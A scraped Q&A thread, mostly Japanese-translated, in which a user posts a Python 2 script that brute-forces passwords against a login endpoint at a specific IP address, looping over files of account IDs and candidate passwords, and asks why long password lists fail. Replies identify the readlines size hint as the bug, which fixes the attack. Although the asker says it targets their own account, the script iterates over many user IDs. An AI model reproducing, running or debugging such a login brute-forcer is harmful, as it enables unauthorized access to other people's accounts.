検索

ホームページ  >  に質問  >  本文

网页爬虫 - python暴力破解密码的数据量问题

我用自己的账号去尝试暴力破解,候选密码保存在本地txt文件。发现当候选密码较少时(大概几百几千个),可以正确找到密码,当数据较大(大概几十万个)的时候就找不到正确的密码,但是正确的密码就在文件里面了,这是为什么?

def try_pwd(userid,pwd):  #提交数据函数
    myurl = 'http://222.200.98.147/login!doLogin.action'
    postdata = urllib.urlencode({'account':userid, 'pwd':pwd, 'verifycode':''})
    header = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
    request = urllib2.Request(url=myurl, data=postdata, headers=header)
       
    try:
        acp_login = urllib2.urlopen(request,timeout=10)
    except urllib2.HTTPError,e:
        print e.reason,e.code
    re_info = acp_login.read()
       
    if re_info == '{"msg":"/login!welcome.action","status":"y"}':
        print 'ID:',userid
        print 'password:', pwd
        isfind = True
    else:
#         print 'None'
        isfind = False
    return isfind
    
    
start_time = time.time()
print 'Start...'
userID_file = open('e:\\userID.txt','r')   #userID.txt为账号文件
for userID in userID_file.readlines(100):
    userID = userID.strip('\n')
    pwd_file = open('e:\\pwd2.txt','r')      #pwd2.txt为密码文件
    for t_pwd in pwd_file.readlines(10000):
         t_pwd = t_pwd.strip('\r\n')
         isfind = try_pwd(userid=userID,pwd= t_pwd)
         if isfind == True:
             break
    if isfind == False:
         print userID, u'没有匹配'
    pwd_file.close()     

userID_file.close()
end_time = time.time()
print "total time: ",end_time-start_time
PHP中文网PHP中文网2813日前570

全員に返信(2)返信します

  • 高洛峰

    高洛峰2017-04-18 10:18:35

    1. コードを投稿してください
    2. すべてのパスワードを確認しましたか?

    readlines(hint=-1)

    ストリームから行のリストを読み取って返します。ヒントを指定して、読み込む行数を制御できます。すべての行の合計サイズ (バイト/文字) を超えると、それ以上の行は読み取られません。これまでのセリフはヒントを超えています

    file.readlines() を呼び出さずに、for line in file: ... を使用してファイル オブジェクトを反復処理することがすでに可能であることに注意してください。

    https://docs.python.org/3.3/l...

    コードは 100 行しか読み取れません。正しいパスワードは 100 行以降にある必要があります

    返事
    0
  • 大家讲道理

    大家讲道理2017-04-18 10:18:35

    試してみて、readlines のパラメータを削除したところ、再び動作しました?_?

    返事
    0
  • キャンセル返事